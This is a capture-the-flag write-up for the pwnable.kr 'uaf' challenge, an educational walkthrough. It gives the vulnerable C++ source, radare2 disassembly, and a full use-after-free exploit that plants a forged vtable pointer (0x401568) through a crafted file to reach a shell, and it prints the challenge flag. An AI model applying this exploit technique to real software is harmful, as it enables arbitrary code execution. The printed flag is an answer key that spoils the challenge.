In this challenge we’re going to cover some basics behind the use-after-free bug in some C++ code.
ssh [email protected] -p2222 130 ↵
[email protected]'s password:
____ __ __ ____ ____ ____ _ ___ __ _ ____
| \| |__| || \ / || \ | | / _] | |/ ]| \
| o ) | | || _ || o || o )| | / [_ | ' / | D )
| _/| | | || | || || || |___ | _] | \ | /
| | | ` ' || | || _ || O || || [_ __ | \| \
| | \ / | | || | || || || || || . || . \
|__| \_/\_/ |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|
- Site admin : [email protected]
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
Last login: Wed Jul 4 10:19:57 2018 from 213.89.161.62
[email protected]:~$ ls -la
total 44
drwxr-x--- 5 root uaf 4096 Oct 23 2016 .
drwxr-xr-x 87 root root 4096 Dec 27 2017 ..
d--------- 2 root root 4096 Sep 20 2015 .bash_history
-rw-r----- 1 root uaf_pwn 22 Sep 25 2015 flag
dr-xr-xr-x 2 root root 4096 Sep 20 2015 .irssi
drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache
-r-xr-sr-x 1 root uaf_pwn 15463 Sep 25 2015 uaf
-rw-r--r-- 1 root root 1431 Sep 25 2015 uaf.cpp
Once again we are presented with two files - binary and the source code. Let’s take a look at it.
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
What we can see here is two objects of classes Man
and Woman
. Both those classes inherit the methods and values from class Human
. This class is particularly interesting, as it contains the virtual methond give_shell
that executes /bin/sh
.
In addition, we can see a simple use-after-free vulnerability. After pressing 3
in main while(1)
loop of the program, we can free the objects previously allocated, but we still can call methods m->introduce();
by pressing 1
.
In addition, by pressing 2
we can allocate some bytes of data using argv[1]
that is supposed to specify how much data to read, and argv[2]
that is the filename that we want to read.
With this information we can think of a simple attack, firstly free the objects, overwrite their data with something that we especially craft in order to make a call to give_shell
method and call it with first option.
But firstly, let’s diassemble this binary.
[email protected]:~$ r2 ./uaf
-- Hello Mr. Anderson
[0x00400de0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
[0x00400de0]> s main
[0x00400ec4]> pdf
;-- main:
/ (fcn) sym.main 490
| sym.main ();
| ; var int local_60h @ rbp-0x60
| ; var int local_54h @ rbp-0x54
| ; var int local_50h @ rbp-0x50
| ; var int local_40h @ rbp-0x40
| ; var int local_38h @ rbp-0x38
| ; var int local_30h @ rbp-0x30
| ; var int local_28h @ rbp-0x28
| ; var int local_20h @ rbp-0x20
| ; var int local_18h @ rbp-0x18
| ; var int local_12h @ rbp-0x12
| ; var int local_11h @ rbp-0x11
| ; DATA XREF from 0x00400dfd (entry0)
| 0x00400ec4 55 push rbp
| 0x00400ec5 4889e5 mov rbp, rsp
| 0x00400ec8 4154 push r12
| 0x00400eca 53 push rbx
| 0x00400ecb 4883ec50 sub rsp, 0x50 ; 'P'
| 0x00400ecf 897dac mov dword [rbp - local_54h], edi
| 0x00400ed2 488975a0 mov qword [rbp - local_60h], rsi
| 0x00400ed6 488d45ee lea rax, [rbp - local_12h]
| 0x00400eda 4889c7 mov rdi, rax
| 0x00400edd e88efeffff call sym.std::allocator_char_::allocator
| 0x00400ee2 488d55ee lea rdx, [rbp - local_12h]
| 0x00400ee6 488d45b0 lea rax, [rbp - local_50h]
| 0x00400eea bef0144000 mov esi, str.Jack ; "Jack" @ 0x4014f0
| 0x00400eef 4889c7 mov rdi, rax
| 0x00400ef2 e819feffff call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::basic_string
| 0x00400ef7 4c8d65b0 lea r12, [rbp - local_50h]
| 0x00400efb bf18000000 mov edi, 0x18
| 0x00400f00 e88bfeffff call sym.operatornew
| 0x00400f05 4889c3 mov rbx, rax
| 0x00400f08 ba19000000 mov edx, 0x19
| 0x00400f0d 4c89e6 mov rsi, r12
| 0x00400f10 4889df mov rdi, rbx
| 0x00400f13 e84c030000 call sym.Man::Man
| 0x00400f18 48895dc8 mov qword [rbp - local_38h], rbx
| 0x00400f1c 488d45b0 lea rax, [rbp - local_50h]
| 0x00400f20 4889c7 mov rdi, rax
| 0x00400f23 e8d8fdffff call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string
| 0x00400f28 488d45ee lea rax, [rbp - local_12h]
| 0x00400f2c 4889c7 mov rdi, rax
| 0x00400f2f e80cfeffff call sym.std::allocator_char_::_allocator
| 0x00400f34 488d45ef lea rax, [rbp - local_11h]
| 0x00400f38 4889c7 mov rdi, rax
| 0x00400f3b e830feffff call sym.std::allocator_char_::allocator
| 0x00400f40 488d55ef lea rdx, [rbp - local_11h]
| 0x00400f44 488d45c0 lea rax, [rbp - local_40h]
| 0x00400f48 bef5144000 mov esi, str.Jill ; "Jill" @ 0x4014f5
| 0x00400f4d 4889c7 mov rdi, rax
| 0x00400f50 e8bbfdffff call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::basic_string
| 0x00400f55 4c8d65c0 lea r12, [rbp - local_40h]
| 0x00400f59 bf18000000 mov edi, 0x18
| 0x00400f5e e82dfeffff call sym.operatornew
| 0x00400f63 4889c3 mov rbx, rax
| 0x00400f66 ba15000000 mov edx, 0x15
| 0x00400f6b 4c89e6 mov rsi, r12
| 0x00400f6e 4889df mov rdi, rbx
| 0x00400f71 e892030000 call sym.Woman::Woman
| 0x00400f76 48895dd0 mov qword [rbp - local_30h], rbx
| 0x00400f7a 488d45c0 lea rax, [rbp - local_40h]
| 0x00400f7e 4889c7 mov rdi, rax
| 0x00400f81 e87afdffff call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string
| 0x00400f86 488d45ef lea rax, [rbp - local_11h]
| 0x00400f8a 4889c7 mov rdi, rax
| 0x00400f8d e8aefdffff call sym.std::allocator_char_::_allocator
| ; JMP XREF from 0x004010a9 (sym.main)
| .-> 0x00400f92 befa144000 mov esi, str.1._use_n2._after_n3._free_n ; "1. use.2. after.3. free." @ 0x4014fa
| ! 0x00400f97 bf60226000 mov edi, obj.std::cout ; obj.std::cout
| ! 0x00400f9c e84ffdffff call sym.std::operator___std::char_traits_char__
| ! 0x00400fa1 488d45e8 lea rax, [rbp - local_18h]
| ! 0x00400fa5 4889c6 mov rsi, rax
| ! 0x00400fa8 bfe0206000 mov edi, obj.std::cin ; "untu/Linaro 4.6.3-1ubuntu5) 4.6.3" @ 0x6020e0
| ! 0x00400fad e81efeffff call sym.std::istream::operator__
| ! 0x00400fb2 8b45e8 mov eax, dword [rbp - local_18h]
| ! 0x00400fb5 83f802 cmp eax, 2
| ,==< 0x00400fb8 7446 je 0x401000
| |! 0x00400fba 83f803 cmp eax, 3
| ,===< 0x00400fbd 0f84b3000000 je 0x401076
| ||! 0x00400fc3 83f801 cmp eax, 1
| ,====< 0x00400fc6 7405 je 0x400fcd
| ,=====< 0x00400fc8 e9dc000000 jmp 0x4010a9
| ||||! ; JMP XREF from 0x00400fc6 (sym.main)
| |`----> 0x00400fcd 488b45c8 mov rax, qword [rbp - local_38h]
| | ||! 0x00400fd1 488b00 mov rax, qword [rax]
| | ||! 0x00400fd4 4883c008 add rax, 8
| | ||! 0x00400fd8 488b10 mov rdx, qword [rax]
| | ||! 0x00400fdb 488b45c8 mov rax, qword [rbp - local_38h]
| | ||! 0x00400fdf 4889c7 mov rdi, rax
| | ||! 0x00400fe2 ffd2 call rdx
| | ||! 0x00400fe4 488b45d0 mov rax, qword [rbp - local_30h]
| | ||! 0x00400fe8 488b00 mov rax, qword [rax]
| | ||! 0x00400feb 4883c008 add rax, 8
| | ||! 0x00400fef 488b10 mov rdx, qword [rax]
| | ||! 0x00400ff2 488b45d0 mov rax, qword [rbp - local_30h]
| | ||! 0x00400ff6 4889c7 mov rdi, rax
| | ||! 0x00400ff9 ffd2 call rdx
| |,====< 0x00400ffb e9a9000000 jmp 0x4010a9
| ||||! ; JMP XREF from 0x00400fb8 (sym.main)
| |||`--> 0x00401000 488b45a0 mov rax, qword [rbp - local_60h]
| ||| ! 0x00401004 4883c008 add rax, 8
| ||| ! 0x00401008 488b00 mov rax, qword [rax]
| ||| ! 0x0040100b 4889c7 mov rdi, rax
| ||| ! 0x0040100e e80dfdffff call sym.imp.atoi ; int atoi(const char *str)
| ||| ! 0x00401013 4898 cdqe
| ||| ! 0x00401015 488945d8 mov qword [rbp - local_28h], rax
| ||| ! 0x00401019 488b45d8 mov rax, qword [rbp - local_28h]
| ||| ! 0x0040101d 4889c7 mov rdi, rax
| ||| ! 0x00401020 e84bfcffff call sym.operatornew__
| ||| ! 0x00401025 488945e0 mov qword [rbp - local_20h], rax
| ||| ! 0x00401029 488b45a0 mov rax, qword [rbp - local_60h]
| ||| ! 0x0040102d 4883c010 add rax, 0x10
| ||| ! 0x00401031 488b00 mov rax, qword [rax]
| ||| ! 0x00401034 be00000000 mov esi, 0
| ||| ! 0x00401039 4889c7 mov rdi, rax
| ||| ! 0x0040103c b800000000 mov eax, 0
| ||| ! 0x00401041 e87afdffff call sym.imp.open ; int open(const char *path, int oflag)
| ||| ! 0x00401046 488b55d8 mov rdx, qword [rbp - local_28h]
| ||| ! 0x0040104a 488b4de0 mov rcx, qword [rbp - local_20h]
| ||| ! 0x0040104e 4889ce mov rsi, rcx
| ||| ! 0x00401051 89c7 mov edi, eax
| ||| ! 0x00401053 e848fcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
| ||| ! 0x00401058 be13154000 mov esi, str.your_data_is_allocated ; "your data is allocated" @ 0x401513
| ||| ! 0x0040105d bf60226000 mov edi, obj.std::cout ; obj.std::cout
| ||| ! 0x00401062 e889fcffff call sym.std::operator___std::char_traits_char__
| ||| ! 0x00401067 be600d4000 mov esi, sym.std::endl_char_std::char_traits_char__ ; sym.std::endl_char_std::char_traits_char__
| ||| ! 0x0040106c 4889c7 mov rdi, rax
| ||| ! 0x0040106f e8dcfcffff call sym.std::ostream::operator__
| |||,==< 0x00401074 eb33 jmp 0x4010a9
| ||||! ; JMP XREF from 0x00400fbd (sym.main)
| ||`---> 0x00401076 488b5dc8 mov rbx, qword [rbp - local_38h]
| || |! 0x0040107a 4885db test rbx, rbx
| ||,===< 0x0040107d 7410 je 0x40108f
| ||||! 0x0040107f 4889df mov rdi, rbx
| ||||! 0x00401082 e8b3010000 call sym.Human::_Human
| ||||! 0x00401087 4889df mov rdi, rbx
| ||||! 0x0040108a e8f1fbffff call sym.operatordelete
| ||||! ; JMP XREF from 0x0040107d (sym.main)
| ||`---> 0x0040108f 488b5dd0 mov rbx, qword [rbp - local_30h]
| || |! 0x00401093 4885db test rbx, rbx
| ||,===< 0x00401096 7410 je 0x4010a8
| ||||! 0x00401098 4889df mov rdi, rbx
| ||||! 0x0040109b e89a010000 call sym.Human::_Human
| ||||! 0x004010a0 4889df mov rdi, rbx
| ||||! 0x004010a3 e8d8fbffff call sym.operatordelete
| ||||! ; JMP XREF from 0x00401096 (sym.main)
| ||`---> 0x004010a8 90 nop
| || || ; JMP XREF from 0x00401074 (sym.main)
| || || ; JMP XREF from 0x00400ffb (sym.main)
| || || ; JMP XREF from 0x00400fc8 (sym.main)
\ ``-``=< 0x004010a9 e9e4feffff jmp 0x400f92
[0x00400ec4]>
From here we can extract some basic bits of information essential for the further exploitation. First option 1
is made from this code below.
| |`----> 0x00400fcd 488b45c8 mov rax, qword [rbp - local_38h]
| | ||! 0x00400fd1 488b00 mov rax, qword [rax]
| | ||! 0x00400fd4 4883c008 add rax, 8
| | ||! 0x00400fd8 488b10 mov rdx, qword [rax]
| | ||! 0x00400fdb 488b45c8 mov rax, qword [rbp - local_38h]
| | ||! 0x00400fdf 4889c7 mov rdi, rax
| | ||! 0x00400fe2 ffd2 call rdx
| | ||! 0x00400fe4 488b45d0 mov rax, qword [rbp - local_30h]
| | ||! 0x00400fe8 488b00 mov rax, qword [rax]
| | ||! 0x00400feb 4883c008 add rax, 8
| | ||! 0x00400fef 488b10 mov rdx, qword [rax]
| | ||! 0x00400ff2 488b45d0 mov rax, qword [rbp - local_30h]
| | ||! 0x00400ff6 4889c7 mov rdi, rax
| | ||! 0x00400ff9 ffd2 call rdx
Here we can see a repetive code for both calls of introduce()
methods. As we have instruction call rdx
we can suspect that rdx
holds the address of introduce method. Register rdx
get’s it’s value from rax
in mov rdx, qword [rax]
, with additional incrementation of rax
value in add rax, 8
.
[0x0040123a]> pdf @sym.Man::Man
/ (fcn) sym.Man::Man 83
| sym.Man::Man ();
| ; var int local_24h @ rbp-0x24
| ; var int local_20h @ rbp-0x20
| ; var int local_18h @ rbp-0x18
| ; CALL XREF from 0x00400f13 (sym.main)
| 0x00401264 55 push rbp
| 0x00401265 4889e5 mov rbp, rsp
| 0x00401268 53 push rbx
| 0x00401269 4883ec28 sub rsp, 0x28 ; '('
| 0x0040126d 48897de8 mov qword [rbp - local_18h], rdi
| 0x00401271 488975e0 mov qword [rbp - local_20h], rsi
| 0x00401275 8955dc mov dword [rbp - local_24h], edx
| 0x00401278 488b45e8 mov rax, qword [rbp - local_18h]
| 0x0040127c 4889c7 mov rdi, rax
| 0x0040127f e88cffffff call sym.Human::Human
| 0x00401284 488b45e8 mov rax, qword [rbp - local_18h]
| 0x00401288 48c700701540. mov qword [rax], 0x401570 ; [0x401570:8]=0x40117a sym.Human::give_shell ; "[email protected]"
| 0x0040128f 488b45e8 mov rax, qword [rbp - local_18h]
| 0x00401293 488d5010 lea rdx, [rax + 0x10] ; 0x10
| 0x00401297 488b45e0 mov rax, qword [rbp - local_20h]
| 0x0040129b 4889c6 mov rsi, rax
| 0x0040129e 4889d7 mov rdi, rdx
| 0x004012a1 e80afbffff call sym.std::string::operator_
| 0x004012a6 488b45e8 mov rax, qword [rbp - local_18h]
| 0x004012aa 8b55dc mov edx, dword [rbp - local_24h]
| 0x004012ad 895008 mov dword [rax + 8], edx
| 0x004012b0 4883c428 add rsp, 0x28 ; '('
| 0x004012b4 5b pop rbx
| 0x004012b5 5d pop rbp
\ 0x004012b6 c3 ret
With that information, we are ready to disassemble the Man
object and first thing that comes to my mind is this line mov qword [rax], 0x401570 ; [0x401570:8]=0x40117a sym.Human::give_shell ; "[email protected]"
. Now we can suspect that address 0x401570
is the address of the vtable of this class.
Every class containing virtual functions gets its own vtable that is used to resolve the address of te virtual function whenever such function is called. Luckily, we can list vtables with radare2
command av
.
[0x00400de0]> av?
|Usage: av analyze the .rodata section and list virtual function present
[0x00400de0]> av
Vtable Found at 0x00401550
0x00401550 : sym.Human::give_shell
0x00401558 : sym.Woman::introduce
Vtable Found at 0x00401570
0x00401570 : sym.Human::give_shell
0x00401578 : sym.Man::introduce
Vtable Found at 0x00401590
0x00401590 : sym.Human::give_shell
0x00401598 : sym.Human::introduce
Great, our assumptions are correct and address 0x00401570
is the address of the Man
class vtable. But why after calling this address, method introduce()
is called instead of give_shell()
?
Coming back to disassembly of main()
function, we have to remember that during the call address is incremented with add rax, 8
. So in order to call the give_shell()
function, we have to decrement 0x00401570
by 8.
>>> hex(0x00401570 - 8)
'0x401568'
Now we have the address of give_shell()
that we can use in our exploit. Few runs of 2
option may guarantee that these bytes are at correct place.
[email protected]:~$ python -c 'print("\x68\x15\x40\x00\x00\x00\x00\x00")' > /tmp/attackme
[email protected]:~$ ./uaf 8 /tmp/attackme
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning